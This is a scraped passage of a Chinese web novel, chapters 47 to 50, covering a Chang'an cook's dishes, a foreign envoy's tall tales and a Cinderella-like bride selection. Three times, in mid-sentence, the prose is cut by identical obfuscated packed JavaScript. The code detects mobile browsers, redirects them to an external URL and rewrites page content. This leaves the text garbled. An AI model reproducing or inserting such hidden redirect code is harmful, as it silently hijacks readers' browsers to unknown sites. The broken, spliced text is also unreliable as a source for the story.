结果段知微转个身的功夫，那两块芙蓉糕被灰衣娘子的妹妹毫不客气夹到自己的碗中。 段知微：“......” 她对此类不平之事很看不惯，那插了满头紫色蝴蝶兰的继妹抢了人家的东西，仍在自我吹嘘夸耀，并且嘲讽自家姐姐，灰衣娘子眼中噙满泪花，低下了头去。 于是段知微看不惯了，寻了个由头找茬：“听闻诗人有言‘人面桃花相映红’，怎么也该是以美人衬花娇，而不是以花衬人是吧？” 众多娘子看起来也早对其轻慢举止很不满了，于是随着段知微的话一一附和，倒是让那位继妹闹了个大红脸，狠狠瞪段知微一眼后不再说话。 这“斗花宴”在刀光剑影之下结束了，从毡帐出来后，段知微望眼瓦蓝澄澈的天空，再看看曲江两畔如画屏般美景，狠狠吸了两口清新的空气。 这边杜有容在丫鬟的搀扶之下上了牛车，向曲江畔某一方向指了指，竟自去了。 段知微一头雾水，拎着食盒按照她指着的方向走，很快就看到身着明光甲的往园林间严肃一站的袁慎己，他生得高大，又一副生人勿近的模样，跟兴高采烈前来踏青的游人形成了强烈的对比。 段知微觉得有趣，忍不住笑了，她突然生了个幼稚的想法。想悄悄往他后面站一下，吓他一跳。 结果人还没凑到袁慎己后面，便被袁慎己一下翻握住手腕。 “痛痛痛......” 袁慎己本以为是哪个不开眼的游人竟敢作弄金吾卫，因此手下没有留情，下了狠劲，结果一看是段知微，赶紧松了手：“抱歉。” 虽然是自己脑子抽了想恐吓人在先，但是手腕一个红印子确实还挺疼，段知微莫名生了股气，略微福了福身，转身就走。 “等等”袁慎己在后面追过来，又想到自己仍在皇家园林执勤，因此喊了位在园中巡视的武侯替自己，而后又疾步追了过去。 他快步追上她，却也不着急与她讲话，就这么不紧不慢跟在段知微后面，段知微也不理他，两人就在曲江畔融融的春光中一前一后的往前走。 这人实在打眼，很多游人都看一眼他，再把探究的目光撇到自己身上。 段知微这才招架不住，转过身看他：“你跟着我做什么？” 她头顶一簇桃花开得可爱，今日梳着双环望仙髻，一双杏眼瞪他也煞是可爱，袁慎己突然像偶遇仙娥的凡人，一时忘了要说什么。 而后他看着零散出园的游人，终于知道自己应该如何做了，于是露出一个势在必得的笑容：“很快便要宵禁了，袁某送段娘子回家。” 段知微抱着食盒坐上了他雇来的马车，一人坐一边。她手中的食盒还有两个剩下的翡翠烧麦，不知道袁慎己有没有好好吃午食，想拿给他又抹不开面子。 她看眼食盒，再看眼袁慎己，再看眼食盒。 袁慎己很是上道：“袁某还未用午食，看来段娘子又做了些美味佳肴了，只可惜似乎食盒已空，袁某无福品尝了。”他装作遗憾摇了摇头。 竟然真没吃午食，段知微赶紧把手中食盒塞进他怀中道：“盒中还有两块烧麦和一块甜糕，都尉不嫌弃，垫垫肚子吧，到了食肆，我再做些其他吃食给都尉。” 袁慎己中午在官署廊下吃了两大块蒸饼，一盘馈春盘以及一碟白灼羊肉，还不是很饿，此刻却装作饿坏的模样自食盒取出烧麦，那烧麦已经凉了，菜叶焖久了也发黄，而后对着段知微抱拳：“很美味，多谢段娘子。” 马车比驴车快多了，到宣阳坊时，天色还大亮，阿盘忙着整治暮食，见她带着袁慎己回来，问道：“今日可要做些别的吃食？” 段知微一早便去了曲江，也不知食肆里头还剩什么食材，去火房里头一看，一竹篮新鲜水灵的绿豆芽、马兰头、蚕豆，被食肆众人整治的干干净净。 段知微决定做一道春菜饼。 这是个快手菜，只需把蚕豆和马兰头下锅焯水，蚕豆碾成泥，加入盐、胡椒调味。与马兰头和面粉鸡蛋混合，揉搓拍扁成一个个小圆饼，下锅小火煎。 煎到两面金黄，边缘微微卷起，有焦脆的香气时即可。 她觉得不够，又从梁上取下一块咸肉，配上春笋上蒸笼蒸。 这春菜饼做起来简单，味道一点儿不含糊，段知微试着先给袁慎己上一盘，他咬上一口，发出轻微“嘎吱”的焦脆声响。 蚕豆有回甘，马兰头清甜，饼皮则是充斥着麦香，还能吃到一丝胡椒粉的风味，让人感到浓浓的春日的气息。 袁慎己一口气吃完一盘，又把筷子伸到春笋煮咸肉上，这日的竹笋鲜嫩爽脆，怎么煮都好吃。 段知微在把春笋和咸肉上锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788446|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时，特意给咸肉划上几刀，在炖煮时，咸肉的油脂侵染到春笋之上，使得春笋更加油润；同时春笋也解了咸肉的油腻，二者可谓是相辅相成。 不光是袁慎己，这菜赢得了众位食客的一致好评。 段知微忙完这一阵，端上一爵竹叶青给袁慎己续上：“都尉近日都不怎么来食肆，原来是在曲江畔皇家园林值守啊。” 他缓缓饮一口酒：“也不是，这几日几乎都待在鸿胪寺。” “鸿胪寺？”她眨巴眼睛，长安大大小小的寺庙她几乎都要被段大娘带着拜遍了，鸿胪寺又是什么寺。 袁慎己不由失笑，而后很有耐心的跟她解释：“不是寺庙，鸿胪寺是个官署。” 鸿胪寺，掌朝会、宾客、外吏朝觐、诸藩入贡。大都数时候，鸿胪寺都要负责迎送接待国外使者。 一般金吾卫并不会负责保护外国使臣，可此番陀汗国国王亲来长安，并献上南海稀缺黑珍珠、珊瑚等珠宝，意欲娶上一位皇室宗亲，以结秦晋之好。 金吾卫只得派人在鸿胪寺外负责这位国王的安全。 “还真是辛苦呢，不知那南海珍珠是个什么模样”段知微很喜欢珍珠饰品，不禁幻想了一下，又对袁慎己笑道：“明日我订了一框鲜虾，意欲熬成虾籽酱油，都尉若有空，我给你送上一瓶虾籽酱油。” 袁慎己应声说好，站起来欲走，又朝她看一眼：“段娘子可知元宵？” “当然了”她兴奋跳起来：“那可是一年只一次可在夜间城中游玩的时刻，我绝对不会错过的。” 袁慎己这才点点头，起身离去。 他今日白日在曲江园林值守，晚上便无须再值守，可以回府休息，袁慎己路过自家的府邸，目不斜视地骑马走了。 他到了东市最大的首饰肆铺，捻金阁。 掌柜本在招待别的顾客，见到袁慎己，赶紧躬身跑了过来：“袁都尉怎会踏足小店，真是蓬荜生辉，都尉可有喜欢的，您尽管挑，有事吩咐小人给您拿” 袁慎己扫视了一圈，也没找到合乎他眼光的首饰，索性坐下先饮一碗茶。 只听一伙计不耐烦道：“这位娘子，我们这支莹珠簪，乃是老渔夫在南海边上偶然捞到的大珍珠，百年一遇，又千里迢迢运送来长安，请手艺好的匠师精心镶刻，取‘琼蚌晞曜以莹珠之意’，您接连三日来看这簪子了......” 袁慎己听见珍珠二字，心下一动，闻言望去，只见一身穿波蓝绉纱裙的年轻女子面色涨红的拿着一根簪子，那簪头雕成雪莲模样，中间果然镶一颗晶莹凝重的白珍珠，几条流苏细细垂下，煞是好看。 捻金阁的伙计都是人精，见那年轻女子身上的绉纱裙乃是去年流行样式，就知她应只是小富之家，哪买的起这价值半个宅子的簪子，又见她拿着簪子不肯撒手，忍不住出言讥讽两句。 袁慎己盯着那簪子看了半日，突然站起身走到那女子身旁，女子先注意到秦劲头上束着的贵重墨玉冠，又见他相貌及其俊朗，不禁羞红了脸，她瞟一眼刚刚讽刺她的伙计。伙计见四品都尉走过来，以为这女子是他的相好，吓得脸都绿了，慌忙就要求饶。 只听闻袁慎己沉声道：“这位娘子，若你不买这根簪子，可否将簪子让给在下。” 48. 第四十八章 第二日一早，路边芦苇上的露水还未滴尽，晨雾也未消散，泾河边的渔夫就赶早儿送来一篓子活蹦乱跳的小河虾。这虾放入葱姜蒜爆香，油爆也好、椒盐也行，就着酒一口一个嘎嘣脆，是非常好的下酒菜。 渔夫的独轮车上还有个木盆，里头是今早打捞的几条极肥的鳜鱼，段知微徒手拿起一条，鳜鱼的尾巴有力地挣扎着。这鱼一看就新鲜，肉质好，她掏出荷包，把这盆鳜鱼也买了下来。 想来是天气没有那么冷了，食肆早上的生意也变得好了很多，阿盘和蒲桃守着四散热气的蒸笼，还要守护被金华猫虎视眈眈的一盆鳜鱼，忙碌得很。 段知微把肚子涨鼓的河虾全部挑了出来，选了口大铁锅开始熬煮酱油，这酱油除了虾籽还要再加入葱姜、酒与冰糖，煮出来的虾籽酱油拌面、煮馄饨，甚至蘸水煮菜都能吃出咸香回甜的鲜美滋味。 虾籽酱油在小火上炖煮着，酱油的焦香和虾籽的鲜味慢慢从锅中释放开来向外弥漫。 在路上走着的行人一下就被这鲜香气吸引了过来。 想来是上元佳节临近，长安多了许多胡人的商队，这些人牵着一队队高大气派的骆驼，趾高气昂走在坊市间。只不过胡人自有自己聚集地，一般不会到长安本地人的食肆里头用饭，再加上段知微也并不会做异国美食，比如那些雪松饼、法拉费或者是哈尔瓦酥糖，也就放弃招揽这部分食客。 再说她曾在东市闲逛的时候花二十文铜钱买上过一小块哈尔瓦酥糖，上头撒满葵花子、白芝麻和各色坚果，有点像龙须糖，嚼着倒是满口生香。只是这糖曾在蜂蜜里浸泡过一遍，实在甜到倒牙，吃了几口就腻的吃不下去了。 于是段知微想：“或许胡人的口味跟长安人不一样。” 食肆外头已经开始大排长龙，蒲桃走过去拉拉她的衣襟道：“娘子娘子，有几个金发碧眼的胡商在那儿瞧我们的肆铺呢！” 蒲桃年纪还小，对牵着骆驼，有蓝色眼睛的胡人有着巨大好奇。 接着一穿着深绿色官服的郎君走了过来，对着段知微道：“请娘子安，在下鸿胪寺译语，目前正在招待来自陀汗国的使者，他们说对食肆很有兴趣，不知娘子能否腾出一个食案来？” 段知微还在弯腰慢慢熬煮酱油，闻言直起身子，让他稍等吗，而后往食肆里头走了一圈，里头已经坐满了人。 苏莯一人占着食案正在吃一碗鸭汤馄饨配笼翡翠烧麦，见她为难，特意站了起来去跟别的食客拼食案，段知微对他一通感谢，又免费给他送了一份猪肉玉尖面。 好容易腾出个食案，段知微麻利擦完桌子，招待鸿胪寺译语和几个胡人坐了下来，那群外使头戴獭皮三角帽，身着双翻领胡袍，足蹬黑靴，颇为感兴趣的环顾一遍食肆。 段知微年前特地找了石匠师傅给黄土地上铺了层青石砖，墙上挂了几个分层木板，上面放着一个红衣绿袄，满脸喜气的磨喝乐娃娃，一个绘着牡丹花的太平腊鼓，还有一盆开得正盛的水仙花，给食肆平添了些喜庆之气。 这边段知微也不知胡人爱吃什么，想到那陀汗国在海中，应该也经常用海鲜河鲜之类的，她目光盯上那篓剩下一半的鲜活河虾。 分别炒制虾仁、虾脑、虾籽，挑出有肥厚虾膏的虾脑放进热油里面慢慢煸炒出油，很快鲜香气便扑鼻而来，这些一股脑儿铺到面上拌匀，一碗油润的、香气四溢的三虾面便做好了。 这三虾面里的虾籽颗颗饱满，虾仁肉极有弹性，虾脑则是赋予这一碗醇厚的风味。今日菜肆还送来了新鲜的香椿头，段知微干脆把其切碎拌进鸡蛋里，炒上几个春日气息浓郁的香椿鸡蛋，再送上一笼当季的翡翠烧麦。 那几个外使看上去对长安的菜色很感兴趣，低头仔细研究了一番，不知用什么语言叽里呱啦的说了一大通什么语言，而后双手抱拳，对着段知微用生硬的长安话说一句：“谢谢。” 鸿胪寺的译语还随身带着一张白麻纸，提着毛笔正要向外使们了解一路上的山川风光和见闻。 领头外使今日多饮了两口新丰，酒意冲到脑门上，惹了一脸酡红大声道：“啊！我们走了几个月，路过了绿洲，穿过了沙漠，在龟兹的旁边，有一个小国，那里的王宫是金砖银砖堆砌而成，那里宽敞的花园、明澈的小河，真如同仙境一般！” 他继续道：“那儿的女王会魔法，若有仆人令她不满意，她便施法将他们变成五颜六色的鸟儿，放到花园的金树上供她取乐！” “啊？”不仅鸿胪寺的译语听呆了，段知微几人都停了手里的活计侧耳过来，连旁边几桌食客都放下了筷子。 “可是，要如何把他们变成鸟儿们呢？”问这句话的人是蒲桃，她面对金发碧眼、五官深邃的胡人时都有些放不开，这回是实在好奇了，忍不住还是问了。 “问得好小娘子！”外使醉意朦胧的朝她比了比大拇指而后道：“女王随身有个红口袋，她从里面取出一些红色粉末洒在地上，地上立刻出现一条汹涌奔腾的大河，她再拿起一把麦子埋到土里，用这河水浇灌，大麦立刻便开始抽芽开花结穗，这麦穗磨成面粉做出各类吃食，给人吃下去便会变成鸟儿。” 无论真假，这可比说书有趣多了呀。再加上这外使的长安话虽然拗口，但是讲起来还挺有感染力，所有人都被他的故事所吸引。 有几个食客带着怀疑放下正准备送入口中的翡翠烧麦，而后把面粉做的皮剥开，只吃里头的馅料。 段知微：“......没这么做必要吧，我这面粉就是隔壁肆铺买的......哪有那么神奇的功能” 似乎受到周围看客的鼓励，外使继续讲：“我们经过东瀛，在海上路过一个小岛，岛上只住着一位郎君。我们在那受到他的热情招待，他的仆人是一群猿猴，那群猿猴穿着丝质的衣裳，用金碟银碟给我们捧来丰盛的食物，而后又拿来金壶金盆倒水给我们洗手。” 他再饮上一口酒，顿了顿继续道：“”那位郎君似乎是岛上的主君，每逢朔日，岛上的猿猴都会赶上几日路程朝着那位主君恭恭敬敬行礼，多热情的主君啊，我们走的时候还派了百只猿猴一路护送我们。” 段知微觉得，这位外使要不就是喝多了酒，要不就是在耍人取乐，胡说八道胡编乱造。 显然周围的人也这么想，听完这么荒诞的故事，就各自做各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794799|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自的事情去了，也不跟他较真，只图一乐。 外使在食肆吃完这一顿，付钱的时候特意多给了二十个铜子儿，段知微就当小费了开心收下，岂料外使摸着卷翘的胡子道：“我陀汗国王，后日便要曲江皇家园林设宴，挑选长安最美的娘子回国当王后，段娘子生得美貌，又做一手美味佳肴，届时请准时来参加。” 段知微收钱的笑容僵在了脸上，外使嫌食肆火盆温度过高而拿下了他的獭皮帽，段知微盯着他瓦亮的秃脑门瞧了半日，而后道：“真是不幸，妾已订亲了。” “那真是遗憾啊。”外使遗憾摇摇头，戴上他镶着各色宝石的帽子走了，那译语也朝着段知微叉手行个礼，而后跟着走了。 段知微不太高兴。 人吐蕃灭了吐谷浑，攻打松州，又派了丞相当使臣送了千两黄金当聘礼，就为了迎娶我朝文成公主。你这上下嘴皮子一碰，往曲江边上一站，就想娶我长安最美的娘子？ 再说了，长安城最美的娘子在圣人后宫待着呢，你怎么不去找圣人求娶？ 傍晚，段知微还在为了暮食而在忙碌干活，蒲桃倒是无心做事了，就跟在她后面不停在问：“娘子娘子，你成了王后，我还能跟着你身边吗？” “陀汗国有美味的吃食吗？” 段知微被她缠的没办法，刚准备说话，后面传来个低沉的声音：“什么王后？” 段知微扭头一看，原来是袁慎己下了值，她不由失笑，把白日里发生的事情朝着袁慎己一说，袁慎己也觉得这外使颇为有意思。 他坐到食案上，段知微怕他不够吃，特意多烧了份汤汁浓郁的河虾烩鳜鱼，把窝在柜台边的金华猫看的口水直流。 段知微玩笑道：“都尉真不怕妾去陀汗国当了王后，以后吃不到这美味佳肴了？” 袁慎己今日在校场操练一日，一人单挑了五个武侯，正是腹中空空的时候，他埋首几下吃那碗鲜美三虾面，而后道：“鸿胪寺卿今日上奏，陀汗国国王欲娶宗室女子，永结两国之好。” 长安是世界的中心，谁看的上他一个海中小岛的国家，架不住人家国王亲自来朝，而且又不是求娶公主，只是求娶宗室女，圣人便也答应了。 哦，原来是要求娶姓李的，姓段的没资格参与海选。 袁慎己望她：“那陀汗国国王有何好处？” 有自己英俊吗？有自己威武吗？ 段知微感受到他的情绪，颇为好笑的给他拿了瓶醋来。 二人相视而笑。 过了暮食时间，段知微给袁慎己拿了一盒冻好的翡翠烧麦和一瓶虾籽酱油。听苏莯讲他最近都宿在官署不回府，想到那官署无甚可吃的东西，夏日的槐叶冷淘甚至把人肚子吃坏了。 段知微连着好几日给他送了些方便存储的吃食让他带走。 目送他离开后，眼瞅着快宵禁了，段知微和众人开始收拾收拾准备打样。 却听到一个怯怯的声音自外面响起：“不好意思，请问食肆今日还经营吗？” 段知微抬头一看，一位穿着灰色夹袄的娘子站在门口，红着脸看她。 是那位“灰姑娘”。 49. 第四十九章 这边食肆众人已经准备收拾收拾吃暮食了，段大娘干了一天活,累得腰酸背痛，因此颇有些不耐烦道：“今日已经打烊了，娘子明日赶早儿吧。” 灰衣娘子满脸失落，但还是倚靠在食肆门口柱子上不肯走，段知微赶紧过来拉一下段大娘的衣袖道：“虽然暮食已经卖光了，但是我们都还没吃饭呢，娘子若是不介意可以跟我们一起吃。” 灰衣娘子总算是露出一个感激的微笑：“多谢段娘子。” 段大娘还想说些什么，被段知微摆手制止，段大娘虽然困惑，好歹闭上了嘴不再说话。 今晚段知微想试做一下腌笃鲜，做为新上的一款菜式，正巧梁上还挂着过年剩的咸肉，今日肉肆也送来了新鲜的小排骨，春笋和莴苣水灵灵窝在竹篮里。 咸肉、小排加葱姜料酒焯水，扔进油锅里煸至金黄，再和春笋、莴苣、百叶结一块儿放到黑瓦罐里小火慢炖。 不知过了多久，锅中传来诱人的“咕噜咕噜”声，那是无数厚切的咸肉和小排在鲜美汤汁里头翻滚的声响。 大片水蒸气从瓦罐边缝儿里氤氲而出，肉汤的鲜香随之从火房弥漫到前厅。 蒲桃刚擦完食案，闻着味儿到了火房，用力吸了吸鼻子道：“好香啊。” 她拿了个小凭几去梁上最隐秘一角拿取昂贵的辛香料，被段知微拦住：“这不是寻常肉汤，无需加香料。” 若是寻常肉类炖煮，还需用纱布小袋掺入花椒、八角等香料一起煮。但这腌笃鲜天然有鲜甜气，只需撒入些盐粒儿便可，目的便是取春日时鲜之意。 段知微等火的功夫，外面却突然开始飘雨，是春日的那种绵绵细雨，打在人身也不会有什么感觉，但是晾在屋檐角儿的梅干菜、豆角干、茄子干便是遭了殃。 段知微赶紧带上阿盘和蒲桃去收，那灰衣娘子也帮忙加入其间，整个人看上去热心又善良，赢得了食肆众人的好感。 虽说“春雨贵如油”，但毕竟还是个春寒料峭之时，大家被寒风一吹，春雨一淋，还手脚冰凉的有些打颤儿。 这时候喝上一碗鲜浓味美的热汤是最好不过了，段知微拿块布包住滚烫的瓦罐儿盖子掀开，离了火的汤借着瓦罐的余温还在咕嘟冒泡。待热气散去，可见到这腌笃鲜汤白汁浓，里头漂浮着碧绿的莴苣、莹白的春笋更添食欲。 段知微给众人每人舀上一碗，第一碗便给了这位好心的灰衣娘子。 腌笃鲜做得十分成功，汤汁醇厚鲜美，咸肉紧实有嚼劲，肥肉部分则是酥肥，吃着也不腻，反而是入口即化。里头的春笋、莴苣又脆又嫩。段知微特意把莴苣切成厚实的块状，这莴苣饱吸了汤汁，咬上一口，浓郁汤汁在口中爆开，和清甜的莴苣很搭。 众人忙碌了一日，默不作声地埋首猛吃，倒是灰衣娘子吃得不紧不慢，很有些世家女子的典雅风范。 她第一个拿到汤食，却最后一个吃完，优雅放下碗筷，而后站起身朝着段知微叉手还礼道：“妾几日未用饭了，这可真是非常美味的佳肴。” 她从荷包里摸出十来个铜子儿，段知微听到她几日未用饭，哪儿肯收她的钱，只推说这饭不值当，不收她的钱。 蒲桃不知内情，眨巴着眼睛问道：“这位娘子，您为何几日不用饭啊？” “几日不用饭，肚子不会饿吗？” 段知微本想来捂蒲桃的嘴，没想到灰衣娘子却猛然垂下泪来。 “妾本名李兰，父亲李炎也算皇室宗亲，妾的母亲早逝，阿耶娶了后母之后突发疾病也去世了，后母待妾身苛刻，非打即骂，有时还不给饭吃。” 段大娘换上些同情神色：“自古哪儿有好的后娘，也是个可怜儿见的。” 李兰继续道：“一日妾去南严寺上香，路上遇到一只赤鳍金眼的锦鲤，煞是可爱，妾便把鱼带回了家中池塘，每每给它投食，它便会浮上来，与当与其聊天，都会觉得好开心。” 她突然捂脸道：“近日听闻陀汗国要选取宗亲女子为王后，鸿胪寺也来了妾家相看，可母亲只选了妹妹过去，妾虽有心也实在不知选秀在何时何地。而且最近锦鲤也不知去哪儿了，可能已经被母亲吃掉了。” “妾身实在绝望，只好四处游荡，不知何时竟走到了宣阳坊，又腹内饥饿，段娘子上回在曲江帮助过妾，于是这才大着胆子进来了。”她哭得哀戚，众人也十分同情，蒲桃更是红了眼圈，直让段知微帮帮她。 段知微白日还真从外使口中打探到了陀汗国国王选秀的时间地点，忙说自己知道。 只是宗室贵女们各个都佩着稀有名花，身着昂贵襦裙，只这李兰一身灰色带补丁夹袄，虽说她生得貌美，但这身行头，真的会被国王看上吗？ 李兰却说不打紧，她那只赤鳍金眼的锦鲤能实现愿望，只是不知锦鲤去了哪儿，想趁着明日后母带着妹妹去曲江园林，偷偷回府偷偷找一下。 众人看向段知微，段知微只好说：“我架着驴车带你过去吧。” 李兰握住她的手一个劲地表示感谢。 第二日宵禁刚解，段知微还准备用刚熬的虾籽酱油煮点馎饦、馄饨什么的，段大娘就推搡她道：“人李娘子这么可怜了，你还有心情煮朝食，这里有我跟阿盘，你赶紧去吧。” 段知微：“......那行吧。” 李兰的府邸在安邑坊，是个三进三出的气派宅邸，只是家族落寞了，看得出宅邸荒凉，本应华丽的红色椒房上全是斑驳脱落的痕迹。 她的继母和妹妹果然不在，李兰焦急俯身到池塘边上呼唤“鱼儿鱼儿，请你出来。” 没有任何动静。 段知微也走进了池塘，这座池塘应该很久没被人打理过，面上飘着一层厚厚的枯萎浮萍，没有鱼儿游动的迹象。 李兰跪坐在池塘边上，捂住脸大哭，段知微只好蹲下拍拍她的肩膀安慰她。 “别哭了！你的母亲杀了你的鱼！埋在院中槐树之下”突然从天降下一位披着头发的彩衣女郎“你可把骨头取出来藏到屋里，需要什么只管向它祈祷，就可以如愿的。” 那女郎说完，立时消失不见了，段知微还没反应过来，李兰却火速站了起来，到槐树边就用双手开始挖土，段知微在花园走了一圈，找到把土铲，也在一边帮她挖。 果不其然土里还真埋着一副完整的鱼骨，李兰又开始崩溃大哭，段知微昨日处理了好几天鳜鱼，莫名有些心虚，只好结结巴巴安慰她。 岂料李兰哭了一场，又振作起来，把鱼骨放到她房间的锦盒中，而后开始许愿。 段知微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799212|153752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对此颇为怀疑，结果不到一会儿，香案上果然出现一条华美的绿地团窠孔雀罗衫、一枝娇嫩杏花、还有一双惹眼的朱缎镶嵌金珍珠软底鞋。 段知微向来喜好珍珠，一眼便看出来那珍珠圆润璀璨，定然不是凡品。 李兰立刻便拿起衣服自屏风后换上。她本就生得美，鬓边杏花倒不算千金之花，但是很衬她，显得整个人眉如远黛、眼眸似水。 她看了眼外面的天色，急切对着段知微道：“还请段娘子再送妾一程。” 灰姑娘的南瓜马车突然变成了段知微的破驴车，她驾着驴车晃晃悠悠载着李兰到曲江皇家园林时候，里面已经一群珠翠粉香的千金娇女在等着了。 想来大明宫也是给了这位小藩国国王一点面子，特意把贵妃最喜爱的湖心亭围了层轻纱帷幔，据说国王就坐在里头。 李兰这身行头华贵，加上本人也确实生得好，不仅各贵女都看向她，就连外使都看得眼前一亮，很快她便被外使请入亭子中，其他女郎们都发出遗憾的叹息声。 段知微今天就灰头土脸的穿了平日干活的粗布麻衣，她也不急着走，就站在园林外围凑热闹，想看看国王最后选中了谁当王后，却猛然被人抓住手臂。 她扭头一看，竟然是值守在曲江的袁慎己、 他眼中浮现一丝薄怒：“某只当段娘子说笑，你还真到这参与陀汗国国王的选秀了。” 他看上去还挺失落，段知微只好道：“都尉见我这身打扮像是来参加选秀的吗？” 她把李兰的事情通通交待一番，袁慎己作为武将，也听过前定远将军李炎的一些事，只好讪讪跟段知微赔罪。 段知微扭过头不理他。 二人就在园林外侧推拉了好一会儿，却见李兰匆匆跑了出来，对着段知微道：“好像是被母亲发现了，还望娘子赶紧送妾回府。” 段知微也不愿意面对她那位杀鱼不眨眼的狠心后母，赶紧一拉驴的缰绳，跟袁慎己告别，匆匆驾着驴车跑了，扬起满地的黄沙。 她边驾车边问李兰的情况，李兰羞红了脸道：“国王年轻英俊，还特别温柔体贴，说是春寒料峭，亲自给妾斟了一杯茶。” 陀汗国国王不跟他外使一样秃脑门就行。段知微安心下来，把李兰送回府邸。 二人下了驴车，段知微这才发现，她走路一瘸一拐，不禁问道：“可是受伤了。” 李兰怯怯说道：“妾身在跑出园林时掉了一只鞋......” 段知微：“......” 剧情发展到如此离谱段知微是没想到的，她只好干笑两声跟李兰道别，驾着驴车走了。想来明日或者后日，便会有侍卫拿着只镶着金珍珠的鞋满城找人了吧。 这边李兰目送段知微走远，自己也回了房间，重新换上破败的灰色夹袄，眼睛都不眨地碾碎那把娇艳的杏花，再把剩的一只珍珠鞋藏到床下的暗格中，而后伏到榻上假眠起来。 后母与继妹匆匆赶了回来，第一时间就跑到了李兰的房间，见她伏在榻上睡觉，便安心关了窗子，扬长而去。 李兰睁开眼睛，悄悄走到窗前，看那两个讨厌的人真的远去了，便重新锁好门窗，再次从暗格里拿出那只绣鞋，端详半日。 而后发出一声冷笑。 50. 第五十章 美味小笼汤包 这边段知微回到食肆，把李兰得到陀汗国国王赏识的事情跟大家一讲，众人都松了口气。 尤其是段大娘，她几乎本月都要去大慈恩寺听和尚俗讲，对佛家“行善积德，福德自来”的说法深信不疑，念了句佛便要做些美食犒劳一下段知微。 蒲桃还小，被国王与落魄宗室女的爱情故事感动，拉着段知微一个劲儿的要她讲讲细节。 整个食肆笼罩在欢快愉悦的氛围里。 与之相反的是，另一边袁慎己接了圣人的旨意，回到书房拧着眉头道：“这陀汗国简直是胡闹！” 原来昨日曲江皇家园林中，陀汗国国王自称对一貌美娘子一见倾心，结果那娘子却突然受惊逃离，国王连美人的名字都未问清，只知对方仓促间丢失了一只镶嵌金珍珠的鞋。 国王立时便进了鸿胪寺，找到鸿胪寺卿，立逼着全城寻找这位貌美的娘子，这事儿就连圣人也颇为为难。 陀汗国在海中小岛，那儿炎热，贵族世家只穿轻纱薄衣与草编鞋，底层百姓更是赤着脚就在地上走。 可长安不同，女子的足部是隐私，更何况那日参加园林盛会的都是世家宗室女子，无论如何，让守城的“瑞狮”金吾卫拿着只绣花鞋穿梭在各个世家中找寻一位娘子，简直是不成体统。 圣人起初也觉得荒唐，直接就扔了鸿胪寺卿递上来的折子，可那陀汗国王说，若能寻到那位娘子，以后每年向长安进贡海中稀有的十斛珍珠。 圣人倒是不在意，泱泱大国，万朝来贡，谁看得起他这点玩意儿？架不住宫中贵妃最喜爱的珠宝便是珍珠，倒是给圣人出了个主意。 让宫中女官拿着绣花鞋去替陀汗国国王找人不就好了，金吾卫起个引路和护送的作用，既卖了陀汗国国王人情，也不得罪各个世家。 圣人觉得这主意不错，立时给金吾卫拟了旨。 就是气坏了袁慎己，金吾卫向来负责皇帝出行的护卫与仪仗、以及长安城的巡逻与监督，现在竟要护着大明宫的女官去各个世家寻一娘子，简直是胡闹。 可毕竟圣旨已下，此等小事，他决定交给手下来做，于是第二日早上宵禁一解，袁慎己便跨上他的马，去段家食肆躲清闲去了。 段知微趁还春寒，前一日晚上熬煮了一大锅肉皮汤搁在井边上，今早起床一看，满意的发现这锅汤已经成了亮晶晶的肉皮冻。 眼见翡翠烧麦挺受欢迎，她准备再试试蒸小笼汤包，这汤包就得天冷做，到了夏日，段知微既租不起冰室，又没法得到冰箱，肉皮汤不等凝固就会容易馊掉，只能趁天冷。 这包子皮也有讲究，北方例如天津的狗不理、北京的庆丰都是发面的，吃着蓬松又柔软；南方则多为死面，擀得薄薄的一层。 段知微做各色玉尖面的时候选择了发面，这会儿决定试试死面的。 馅料除了传统肉馅，段知微还根据时节往里头塞了虾仁和春笋丁，比普通猪肉的多了些鲜甜风味。 事实证明这小笼汤包蒸的很成功，小巧玲珑如一个个小宝塔立在蒸笼的松针儿里头，皮极富韧劲儿，呈现透明状，对着太阳光还能看到在薄皮里头晃荡的汤汁。 长安众人第一次吃到带汤的小包子，都很感兴趣，几乎每人都点了一笼儿，大口咬下去，滚烫的肉汁儿顺着筷子滴落，食客们也不生气，都找段知微打听，怎么能把汤灌进这个密封的皮子里。 于是袁慎己骑着马赶到宣阳坊的时候，段知微已经忙得热火朝天，看到他来，忙给他找了个空闲的座儿。 一笼热气腾腾的小笼包被放到他面前，又给他一碟香醋。段知微教他：“这小笼包吃的时候有讲究，需得轻轻提，慢慢移，先开窗，后喝汤。” 她手脚并用着比划，看上去很是有趣，惹得袁慎己心中不快散去了许多。 